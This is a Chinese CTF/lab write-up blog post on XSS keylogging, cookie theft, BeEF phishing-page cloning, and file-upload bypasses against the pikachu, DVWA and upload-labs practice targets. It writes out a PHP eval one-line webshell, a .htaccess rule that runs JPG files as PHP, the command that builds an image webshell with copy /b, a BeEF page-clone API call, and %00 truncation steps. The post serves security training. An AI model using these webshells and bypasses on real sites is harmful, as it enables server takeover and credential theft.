09-XSS键盘监听、cookie窃取文件上传绕过

news/2025/1/11 22:39:52/文章来源:https://www.cnblogs.com/bokexiLu/p/18521525

1、XSS

(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录

  • XSS键盘记录

    • docker打开pikachu靶场,进入pikachu后端修改/var/www/html/pkxss/rkeypress/rk.js文件

      image-20241101230141655

    • 在存储型XSS模块输入payload(以dvwa靶场测试)

      image-20241101230948432

    • 监听记录成功

      image-20241101231639997

      image-20241101231246000

  • 获取cookie信息实现登入

    • 在pikachu靶场XSS盲打模块输入盗取cookie的payload

      image-20241101232923786

    • 登入后台发现插入成功,js代码成功被解析(即在xxs后台cookie收集模块成功盗取到cookie信息)

      image-20241101233935813

      image-20241101234445680

    • 利用cookie editor 修改cookie,同时改网址为登入后的界面地址

      image-20241101235600388

    • 无需账号密码直接登入成功

      image-20241101235819838

(2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码

  • 先首次安装完成beef后需要修改beef的/usr/share/beef-xss/config.yaml配置文件(登录密码修改、监听地址改成kali的ip地址)

    image-20241102000546748

  • ./beef 启动beef获取Hook URL、UI URL、API key等关键信息

    image-20241102001134865

  • 在kali输入克隆网站payload(以dvwa登入界面为例)

    # <URL of site to clone> 需要克隆的网址
    # <where to mount> 克隆的页面在服务器的哪个路径访问
    # <BeEFRURL> beef地址
    # <token> 服务启动时的 beef API key
    curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site
    to clone>", "mount":"<where to mount>"}' -X POST
    http://<BeEFURL>/api/seng/clone_page?token=<token>
    

    image-20241102002328770

  • 克隆页面成功

    image-20241102002547725

  • 若是用户在界面输入账号和密码,便可以在beef的日志信息里看到用户输入的内容,成功获取到账号和密码

    image-20241102003309609

2、文件上传

(1)客户端绕过练习

  • 这里用到upload-labs的1关,查看源码发现全片均由js代码书写

    image-20241101163110108

  • 通过F12调用控制台再按F1可以禁用js代码

    image-20241101163527206

  • 直接上传php文件成功绕过

    image-20241101163809968

(2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤

  • 这里用到upload-labs的4关,查看源码,发现黑名单未校验 .htaccess 文件

    image-20241101164914091

  • 上传.htaccess文件,文件内容为(即只要上传文件名为test.jpg都将当作php格式执行)

    #<!-- .htaccess文件 -->
    <FilesMatch "test.jpg">
    Sethandler application/x-httpd-php
    </FilesMatch>
    
  • 先将.htaccess文件上传,再将写有<?php phpinfo();?>代码的test.jpg上传,实现成功绕过

    image-20241101170441478

(3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过

  • 使用%00截断前提:php版本小于5.3.4、php.ini的magic_quotes_gpc为OFF状态

    • 这里使用虚拟机中的win7操作系统,安装phpstudy后修改版本

      image-20241101171222833

    • 然后对phpstudy的配置文件php.int进行修改

      image-20241101171549808

  • 这里查看虚拟机的IP地址,开启phpstudy就可以访问搭建好的靶场了

  • 对应的是upload-labs的11、12关(区别在于11是GET请求、12是POST请求),查看源码(这里以11关为例)发现设置了白名单,但是使用抓包可以修改,通过00%截断的方式修改路径(符合白名单的同时,还可以上传自己想要的文件名字及格式)

    image-20241101173908959

    • GET

      • 上传写有php代码的info.jpg文件,用burp抓包修改(这里注意在上传文件前需要确保网站目录下有upload文件夹,不然会因为找不到此目录而引发报错)

        image-20241101174759228

      • 上传成功后,访问目标地址需要将后面随机加是数字删除,真正的文件名是info.php(这里以自己取的名字为标准)

        image-20241101175537300

    • POST

      • 上传带有<?php eval(@$_POST['a']);?>php代码的post.png文件

      • burp抓包,因为是post请求所以利用%00截断修改路径在请求正文里(注意路径在请求正文里不会进行URL解码,所以还需要通过burp对%00进行一次解码)

        image-20241101211304171

      • 成功绕过拿下

        image-20241101213604076

(4)文件头检查:分别利用3种制作图片马的方式实现上传绕过

  • 这里用到upload-labs的14关

​ 1-Windows操作系统进行文件拼接

​ a.在存放有两张需要拼接的文件目录中cmd进入命令窗口中输入copy /b bob.jpg+info.php bob1.jpg拼接生成bob1.jpg文件

​ b.上传成功

image-20241101215755039

​ c.通过文件包含漏洞查看图片马

image-20241101220201108

​ 2-直接使用16进制编辑工具

​ a.在图片底部添加一句话木马

image-20241101221309672

​ b.上传成功

image-20241101220934595

​ c.通过蚁剑成功拿下

image-20241101221726268

​ 3-直接burp抓包

​ a.在图片尾部添加一句话木马

image-20241101224410197

​ b.上传成功

image-20241101224552101

​ c.通过蚁剑成功拿下

image-20241101224718994

(5)二次渲染绕过

  • 这里用到upload-labs的17关,查看源码可以发现他将原本的图片进行了二次渲染后又生成了新图片

    image-20241101162300524

  • 用010 editor工具将选中图片转化为十六进制编码,再从中插入<?php phpinfo();?>代码(这里注意插入的位置尽量靠前,以免php代码被二次渲染破坏)

    image-20241101160414056

  • 将带有php代码的图片上传,使用文件包含漏洞就可以解析到phpinfo文件

    image-20241101161652054

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/825515.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2.TiUP 部署 DM 集群

TiUP 是 TiDB 4.0 版本引入的集群运维工具,TiUP DM 是 TiUP 提供的使用 Golang 编写的集群管理组件,通过 TiUP DM 组件就可以进行日常的运维工作,包括部署、启动、关闭、销毁、扩缩容、升级 DM 集群以及管理 DM 集群参数。 安装 TiUP DM 组件: tiup install dm dmctl 生成模…

PNGify:将文本和文件编码为 PNG 图像的命令行工具

原创 Ots安全PNGify 是一款用 Go 编写的命令行工具,可让您将文本和文件编码为 PNG 图像,然后将其解码回原始格式。这种方法融合了文本和图像处理,提供了一种有趣的数据存储和检索方式。这个实验项目的目标是探索创造性的可能性。 安装 确保您的计算机上安装了 Go 编译器,然…

即将到来!

已经到一百三十节课了,努力这周就搞完!

什么是IT技术

IT技术是指应用计算机技术和通信技术来处理和传输信息的一系列技术和方法。它涵盖了多个方面,包括计算机硬件和软件技术、网络技术、数据库技术、信息安全技术等。IT技术的发展使得信息的获取、传递和处理更加迅速和高效,推动了信息社会的快速发展。一、IT技术的定义 IT技术(…

20241101 数据结构与算法期中机试收获

1.一种神奇的打印较多字符(成片的那种)的方法。 2. 机试教训,可以直接输出不管输入来试着骗基础样例分,2分钟拿5/100分还是很不错

如何在step7上使用SCL

如何在经典step7上使用SCL 最近因为工作需求的变化,又回头用上了很多年前的step7。用习惯博图之后再回到step7上确实是一个很逆向的事情,但是没办法,项目需要也就只能遵守这个规则。 东西再老,只要认真去做,也会有新发现。 1. 搭建一个全新的SCL块首先新建项目,选择SCL s…

Eexi6.7 安装Win11

技能点:核心是解决绕过TPM的检查、绕过Win11无网络连接无法设置的问题。熟悉PE引导镜像、熟悉Windows系统启动项(引导方式)、了解Esxi在Web管理端如何配置虚拟机。 1、安装前需要准备的镜像:(1)找PE引导镜像,如:UQi_USBsys_2017.iso,用法自行百度。(2)Win11的系统镜…

【Spring开发】Spring中的IoC和AOP: 核心思想

一、IoC1.1 什么是IoC?1.2 IoC解决了什么问题1.3 IoC和DI的区别二、AOP2.1 什么是AOP?2.2 AOP解决的什么问题2.3 为什么叫面向切面编程核心思想 IoC和AOP不是spring提出来的,在spring之前就已经存在,只不过更偏向理论化,spring在技术层面把这两个思想做了非常好的实现。在…

【供应链安全】2024年我国软件供应链安全代表性厂商推荐:孝道科技

杭州孝道科技有限公司(又称“安全玻璃盒”)成立于2014年,是专注于为用户提供软件供应链安全的国家级高新技术企业、省级专精特新企业。公司坚持科技创新,基于AI模型和卷积神经网络,自主研发了全链路智能动态污点分析、函数级智能基因检测与自动化验证等核心技术与产品。其…

2024-2025-1 20241305 《计算机基础与程序设计》第六周学习总结

作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 2024-2025-1计算机基础与程序设计第六周作业这个作业的目标 1、Polya如何解决问题 2、简单类型与组合类型 3、复合数据结构 4、查找与排序算法 5、算法复杂度 6、递…

数据采集与融合技术作业3

作业3 我的getee仓库链接 https://gitee.com/LLLzt-III/crawl_project 作业3代码链接 https://gitee.com/LLLzt-III/crawl_project/tree/master/作业3 一、作业①:要求:指定一个网站,爬取这个网站中的所有的图片,例如:中国气象网(http://www.weather.com.cn)。使用scra…

硬件项目管理和软件项目管理的区别有哪些

硬件项目管理与软件项目管理在许多方面有本质的不同。它们包括但不限于:1.项目范围和需求变更的灵活性;2.项目生命周期;3.设计和开发过程;4.成本预算和控制;5.团队合作方式;6.测试与质量保证;7.风险管理。其中,项目生命周期和设计开发过程的差异是两者的核心区别。硬件…